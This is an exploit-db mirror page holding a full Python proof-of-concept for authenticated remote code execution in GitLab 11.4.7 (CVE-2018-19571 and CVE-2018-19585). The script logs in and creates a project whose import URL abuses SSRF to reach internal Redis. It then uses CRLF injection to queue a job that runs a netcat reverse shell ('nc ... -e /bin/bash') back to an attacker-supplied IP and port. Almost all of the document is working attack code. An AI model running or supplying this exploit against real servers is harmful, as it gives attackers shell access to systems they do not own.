GitLab 11.4.7 – RCE (Authenticated) (2)

  • 作者: Norbert Hofmann
    日期: 2020-12-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49334/
  • # Exploit Title: GitLab 11.4.7 RCE (POC)
    # Date: 24th December 2020
    # Exploit Author: Norbert Hofmann
    # Exploit Modifications: Sam Redmond, Tam Lai Yin
    # Original Author: Mohin Paramasivam
    # Software Link: https://gitlab.com/
    # Environment: GitLab 11.4.7, community edition
    # CVE: CVE-2018-19571 + CVE-2018-19585
    
    #!/usr/bin/python3
    
    import requests
    from bs4 import BeautifulSoup
    import argparse
    import random
    
    
    parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE')
    parser.add_argument('-u', help='GitLab Username/Email', required=True)
    parser.add_argument('-p', help='Gitlab Password', required=True)
    parser.add_argument('-g', help='Gitlab URL (without port)', required=True)
    parser.add_argument('-l', help='reverse shell ip', required=True)
    parser.add_argument('-P', help='reverse shell port', required=True)
    args = parser.parse_args()
    
    username = args.u
    password = args.p
    gitlab_url = args.g + ":5080"
    local_ip = args.l
    local_port = args.P
    
    session = requests.Session()
    
    # Get Authentication Token
    r = session.get(gitlab_url + "/users/sign_in")
    soup = BeautifulSoup(r.text, features="lxml")
    token = soup.findAll('meta')[16].get("content")
    print(f"[+] authenticity_token: {token}")
    
    login_form = {
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
    }
    r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)
    
    if r.status_code != 200:
    exit(f"Login Failed:{r.text}")
    
    # Create project
    import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git"
    project_name = f'project{random.randrange(1, 10000)}'
    project_url = f'{gitlab_url}/{username}'
    
    print(f"[+] Creating project with random name: {project_name}")
    
    form = """\nmulti
    sadd resque:gitlab:queues system_hook_push
    lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}"
    exec
    exec
    exec\n"""
    
    r = session.get(f"{gitlab_url}/projects/new")
    soup = BeautifulSoup(r.text, features="lxml")
    
    namespace_id = soup.find(
    'input', {'name': 'project[namespace_id]'}).get('value')
    
    project_token = soup.findAll('meta')[16].get("content")
    project_token = project_token.replace("==", "%3D%3D")
    project_token = project_token.replace("+", "%2B")
    
    payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"
    
    cookies = {
    'sidebar_collapsed': 'false',
    'event_filter': 'all',
    'hide_auto_devops_implicitly_enabled_banner_1': 'false',
    '_gitlab_session': session.cookies['_gitlab_session'],
    }
    
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': f'{gitlab_url}/projects',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '398',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    }
    
    print("[+] Running Exploit")
    r = session.post(
    gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False)
    if "The change you requested was rejected." in r.text:
    exit('Exploit failed, check input params')
    
    print('[+] Exploit completed successfully!')